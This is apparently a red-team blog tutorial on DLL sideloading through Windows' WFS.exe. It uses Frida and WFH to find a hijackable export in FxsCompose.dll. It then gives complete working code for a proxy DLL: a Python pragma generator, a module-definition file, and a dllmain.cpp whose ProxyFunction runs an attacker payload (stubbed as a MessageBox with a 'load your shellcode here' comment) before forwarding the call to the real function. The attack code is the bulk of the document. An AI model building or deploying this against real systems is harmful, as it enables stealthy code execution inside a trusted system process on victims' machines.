DLL Sideloading not by DLLMain

Never run your payloads from the DLLMain

Identifying potential hijacks

DLL sideloading is a technique that attackers can use to inject malicious code into a legitimate process by replacing or "sideloading" a dynamic-link library (DLL) that the process is dependent on. This can be a serious security concern because it allows attackers to execute arbitrary code on a victim's machine without the victim's knowledge.

To identify potential DLL sideloading hijacks, there are a few approaches you can take. One option is to use the WFH (Windows Function Hijacking) tool, which is specifically designed to detect DLL function hijacks. WFH is able to identify both DLLMain hijacks and GetProcAddress hijacks.

Alternatively, you can manually detect DLL sideloading hijacks using the Frida tool. To do this, you can use the Frida command line interface to attach to a running executable and then use a JavaScript script called "loadlibrary.js" (comes with WFH tool) to monitor for DLL loads.

To run WFH or Frida to detect DLL sideloading hijacks, you can use the following commands:

Frida
frida -f C:\Windows\System32\<any.exe> -l loadlibrary.js
python wfh.py -t C:\Windows\System32<any.exe> -m dll

When using either of these tools, you should be on the lookout for the following string of text in the output or log file, as it indicates a potential DLL export sideloading attack:

[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\FxsCompose.dll, LPCSTR: HrInitComposeFormDll

In this blogpost, we'll be hijacking WFS.exe which is present in Windows 11 operating system (if Windows fax service is enabled)

Is that function really called

It is worth noting that the GetProcAddress functions listed in the output above may not always indicate a DLL sideloading attack. This can happen because the function call may have been prepared in advance using GetProcAddress, but the function was never actually called due to the arguments passed or the executable taking a different code path.

To find for sure if the function was called (which would result in DLL sideload) we will use another frida script as below

sure.js
// to make sure the dll is loaded before the function intercept is introduced
const dllName = "C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll";
Module.load(dllName);

//find the address of the function
var pHrInitComposeFormDll = Module.findExportByName("FxsCompose.dll","HrInitComposeFormDll");


//intercept the call
Interceptor.attach(pHrInitComposeFormDll, {
    onEnter: function (args) {
        send("The function was called")
    },
    onLeave: function (retval) {
    }
});

To load this use the following command . Make note of --pause argument. The argument is used to pause the execution of the exe, allowing the script to load properly before exe runs

frida -f C:\Windows\System32\WFS.exe -l sure.js --pause

after running this, you will be in a pause state in frida console . Use the following command in frida console to continue execution of executable

%resume

If you see the string "The function was called" in the output, it means that the function has been called and the DLL sideload will function as expected. This is a confirmation that the DLL sideloading attack was successful.

We see that the string "The function was called", which confirms the presence of DLL sideload.

Making a Sideloadable DLL

This is the point where many people just insert their payload into the DLLMain function and consider the task complete.

Here's how to do it quickly and correctly

Step 1: Create a DLL project

Step 2: You will see a blank project like below

Step 3: Create the pragma comment for proxying the calls to the original DLL. Use the following script to generate them quickly

comment.py
import pefile
import optparse
import os

def test(path):
    if os.path.exists(path)==False:
        print("[-] File Not Found:{}".format(path))
    else:
        dllname=str(path).rstrip(".dll")
        formats="#pragma comment(linker,\"/export:{funcion}={dllname}.{funcion_},@{ordinal}\")"
        pe=pefile.PE(path)
        modules=pe.DIRECTORY_ENTRY_EXPORT.symbols
        for module in modules:
            modulename=module.name.decode()
            print(formats.format(funcion=modulename,dllname=dllname,funcion_=modulename,ordinal=module.ordinal))

if __name__ == '__main__':
    parser=optparse.OptionParser()
    parser.add_option('-f',dest="file",help="Dll Path")
    (option,args)=parser.parse_args()
    if option.file:
        test(option.file)
    else:
        print("Usage:python comment.py -f C:\\Windows\\System\\kernel32.dll")
        parser.print_help()

Run the script as follows

python comment.py -f C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll

You will receive the following output

#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")

Step 4: Copy the lines to the project

Step 5: Comment the function which we want to hijack which is HrInitComposeFormDll

Step 6: Find the function prototype

Use Ghidra, load the DLL and find the function in the export table

Copy the function definition and keep it handy

Step 7: Define the proxy function in the def file

Make a def file and provide the following text

Put the following contents

FxsCompose.def
LIBRARY FxsCompose.dll
EXPORTS
	HrInitComposeFormDll=ProxyFunction

Line number 3 defines the function name to redirect the call to when HrInitComposeFormDll is called

Add the module definition setting in Visual Studio

Step 8: Make the proxy function

Before we add the proxy function, we need to make a typedef of the original function(HrInitComposeFormDll). This is required to pass the call to the original HrInitComposeFormDll once we load our payload

the typedef is very similar to the function definition we saw in the Ghidra decompilation

typedef DWORD (*HrInitComposeFormDll_Type)(void);

the format is

typedef <output type> (*functionname_Type)(functionArguments)

Put this line after the pragma comments like we previously added to dllmain.cpp

Now its time to define the ProxyFunction . Again the prototype should be very similar to the original HrInitComposeFormDll function definition

DWORD ProxyFunction(void) {

    //Load your shellcode here.. I'm going to load MessageBox 
    MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);

    // Load original DLL and get function pointer
    HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
    HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");

    // Call original function
    DWORD result = Original_HrInitComposeFormDll();

    return result;
}

Below is the full dllmain.cpp code and FxsCompose.def

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"


#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
//#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")

typedef DWORD(*HrInitComposeFormDll_Type)(void);

DWORD ProxyFunction(void) {

    //Load your shellcode here.. I'm going to load MessageBox 
    MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);

    // Load original DLL and get function pointer
    HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
    HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");

    // Call original function
    DWORD result = Original_HrInitComposeFormDll();

    return result;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

FxsCompose.def
LIBRARY FxsCompose.dll
EXPORTS
	HrInitComposeFormDll=ProxyFunction

Compile the DLL

You can include /MT or /MD flag optionally

Compile the release DLL

Running the DLL Sideload

Copy the exe and the DLL in one folder

run the exe

Project Files

On my GitHub here https://github.com/shantanu561993/DLL-Sideload

Last updated